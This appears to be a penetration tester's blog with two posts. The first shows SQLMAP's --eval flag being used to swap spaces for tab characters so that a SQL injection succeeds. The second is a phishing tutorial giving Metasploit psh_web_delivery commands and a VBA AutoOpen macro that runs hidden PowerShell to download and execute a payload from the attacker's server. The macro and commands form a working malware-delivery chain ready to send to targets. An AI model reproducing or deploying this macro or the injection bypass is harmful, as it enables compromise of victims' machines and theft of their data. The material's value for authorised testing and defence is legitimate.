Using SQLMAP's Eval Functionality for Successful Exploitation

Recently I was performing a web application assessment and ran across a SQL injection bug. This bug was verified by two different tools and one of those tools was even able to pull back the database name, but nothing else. As usual, I turned to my favorite SQLi exploitation tool, SQLMAP.

After spending a while trying to get SQLMAP to find the injection being specific as I could and increasing the level flag, I began to realize that I was going to need to customize some parts of the requests. I eventually located the issue, being that a successful injection required a %09 (URL encoded version of a tab) instead of a %20 (URL encoded version of a space).

It is for this very type of scenario that SQLMAP implements the --eval flag, allowing the user to execute any python code at run-time before each request is sent. All you need to do is reference the parameter that you want to modify, such as "id", etc. The example in the wiki located here illustrates the proper syntax:

--eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

In this instance they are setting "id2" parameter to the MD5 value of the "id" parameter.

Keeping this awesome feature in mind, I decided to use pythons replace() method to modify the space characters (%20) and replace them with tab characters (%09). We will also need to escape quotes so that we do not terminate the eval parameter.

My initial attack went something like this:

./sqlmap.py -l bob.txt -p email --eval="email=email.replace(\"%20\",\"%09\",15)" -v 5

This attack, however, still failed as the requests were still using the %20 as the space character instead of the %09.

After some digging through the source code, it was apparent that I would need to use the actual space character " " instead of its URL-encoded represetatation:

 ./sqlmap.py -l bob.txt -p email --eval="email=email.replace(\" \",\"%09\",15)" -v 5

This time I saw that the requests were being successfully modified and was greeted with the pretty green text:

This just shows one possible use for this super powerful flag within SQLMAP, and another reason why the tool is only as good as the tester using it, as this was the difference between a relatively* successful and unsuccessful exploitation.

* I say relatively because I ended up enumerating the username manually so i didnt technically need SQLMAP, but a tool like SQLMAP just makes extracting data SO much faster.

Phishing with PowerShell

I have seen quite a few tweets/comments/etc about using Powershell's functionality within the context of a Microsoft Office document/VBA (https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery/blob/master/MacroCode). I am going to share a way I have been leveraging Powershell for payload delivery during phishing engagements for a while now to achieve the same end result in a much simpler fashion. The two stages are as follows:

Attacker Machine:

msf > use exploit/windows/misc/psh_web_delivery

msf exploit(psh_web_delivery) > set SRVHOST 172.16.5.11

msf exploit(psh_web_delivery) > set URIPATH boom

msf exploit(psh_web_delivery) > exploit

VBA Macro:

Sub AutoOpen()

    Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('http://172.16.5.11:8080/boom'))""", 1)

End Sub

*Note: If you are using a Excel document, your macro will need to be named Auto_Open()

Save the document as a macro-enabled file.
Send to target, and upon opening....

Meanwhile back at the bat cave...

This highlights yet another reason for defenders to lock down Powershell on workstations as much as possible.